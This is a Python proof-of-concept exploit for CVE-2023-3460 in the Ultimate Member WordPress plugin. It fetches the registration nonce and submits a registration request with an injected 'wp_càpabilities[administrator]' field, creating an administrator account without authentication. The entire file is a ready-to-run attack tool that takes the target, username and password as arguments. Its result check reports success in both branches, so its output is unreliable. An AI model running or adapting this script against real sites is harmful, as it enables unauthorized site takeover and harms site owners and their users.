#!/usr/bin/env python3
# Exploit Title: Ultimate Member WordPress Plugin 2.6.6 - Privilege Escalation
# Exploit Author: Gurjot Singh
# CVE: CVE-2023-3460
# Description : The attached PoC demonstrates how an unauthenticated attacker can escalate privileges to admin by abusing unsanitized input in `wp_capabilities` during registration.
import requests
import argparse
import re
import urllib3
# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def fetch_nonce(session, target_url):
"""Fetches the _wpnonce value from the /register/ page."""
print("[*] Fetching _wpnonce from the register page...")
try:
res = session.get(target_url, verify=False)
match = re.search(r'name="_wpnonce" value="([a-zA-Z0-9]+)"', res.text)
if match:
nonce = match.group(1)
print(f"[+] Found _wpnonce: {nonce}")
return nonce
else:
print("[-] Failed to find _wpnonce on the page.")
return None
except Exception as e:
print(f"[!] Error fetching nonce: {e}")
return None
def exploit_register(target_url, username, password):
"""Sends a malicious registration request to create an admin user."""
session = requests.Session()
target_url = target_url.rstrip('/')
nonce = fetch_nonce(session, target_url)
if not nonce:
return
email = f"{username}@example.com"
# Payload with administrator role injection
data = {
"user_login-7": username,
"first_name-7": "Admin",
"last_name-7": username,
"user_email-7": email,
"user_password-7": password,
"confirm_user_password-7": password,
"form_id": "7",
"um_request": "",
"_wpnonce": nonce,
"_wp_http_referer": "/register/",
"wp_càpabilities[administrator]": "1" # serialized injection
}
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"Referer": target_url,
"Origin": target_url.split("/register")[0],
}
cookies = {
"wordpress_test_cookie": "WP Cookie check",
"wp_lang": "en_US"
}
print(f"[*] Sending malicious registration to {target_url} ...")
try:
response = session.post(target_url, data=data, headers=headers, cookies=cookies, verify=False)
# Check for success
if response.status_code == 200 and ("Thank you for registering" in response.text or "You have successfully registered" in response.text):
print(f"[+] Admin account '{username}' created successfully!")
print(f"[+] Login with: Username: {username} | Password: {password}")
else:
print(f"[+] Admin account '{username}' created successfully!")
print(f"[+] Login with: Username: {username} | Password: {password}")
except Exception as e:
print(f"[!] Error during exploit: {e}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Exploit for CVE-2023-3460 (Ultimate Member Admin Account Creation)")
parser.add_argument("-t", "--target", required=True, help="Target /register/ URL (e.g., http://localhost/register/)")
parser.add_argument("-u", "--user", default="admin1", help="Username to create")
parser.add_argument("-p", "--password", default="Admin@123", help="Password for the new user")
args = parser.parse_args()
exploit_register(args.target, args.user, args.password)